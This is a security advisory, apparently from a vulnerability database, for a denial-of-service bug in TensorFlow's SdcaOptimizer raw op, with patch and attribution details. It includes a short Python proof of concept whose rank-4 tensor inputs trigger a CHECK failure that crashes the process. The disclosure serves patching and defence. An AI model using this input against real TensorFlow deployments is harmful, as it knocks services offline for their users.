PT-2026-59879 · Pypi · Tensorflow-Cpu

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

4.8

Média

VetorAV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H

Impact

Inputs dense features or example state data not of rank 2 will trigger a CHECK fail in [SdcaOptimizer](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca internal.cc).
python
import tensorflow as tf

tf.raw ops.SdcaOptimizer(
  sparse example indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
  sparse feature indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
  sparse feature values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
  dense features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
  example weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
  example labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
  sparse indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
  sparse weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
  dense weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
  example state data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
  loss type="squared loss",
  l1=0.0,
  l2=0.0,
  num loss partitions=1,
  num inner iterations=1,
  adaptative=False,)

Patches

We have patched the issue in GitHub commit 80ff197d03db2a70c6a111f97dcdacad1b0babfa.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Zizhuang Deng of IIE, UCAS

Correção

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dbugs@ptsecurity.com

Identificadores relacionados

PYSEC-2026-3264

Produtos afetados

Tensorflow-Cpu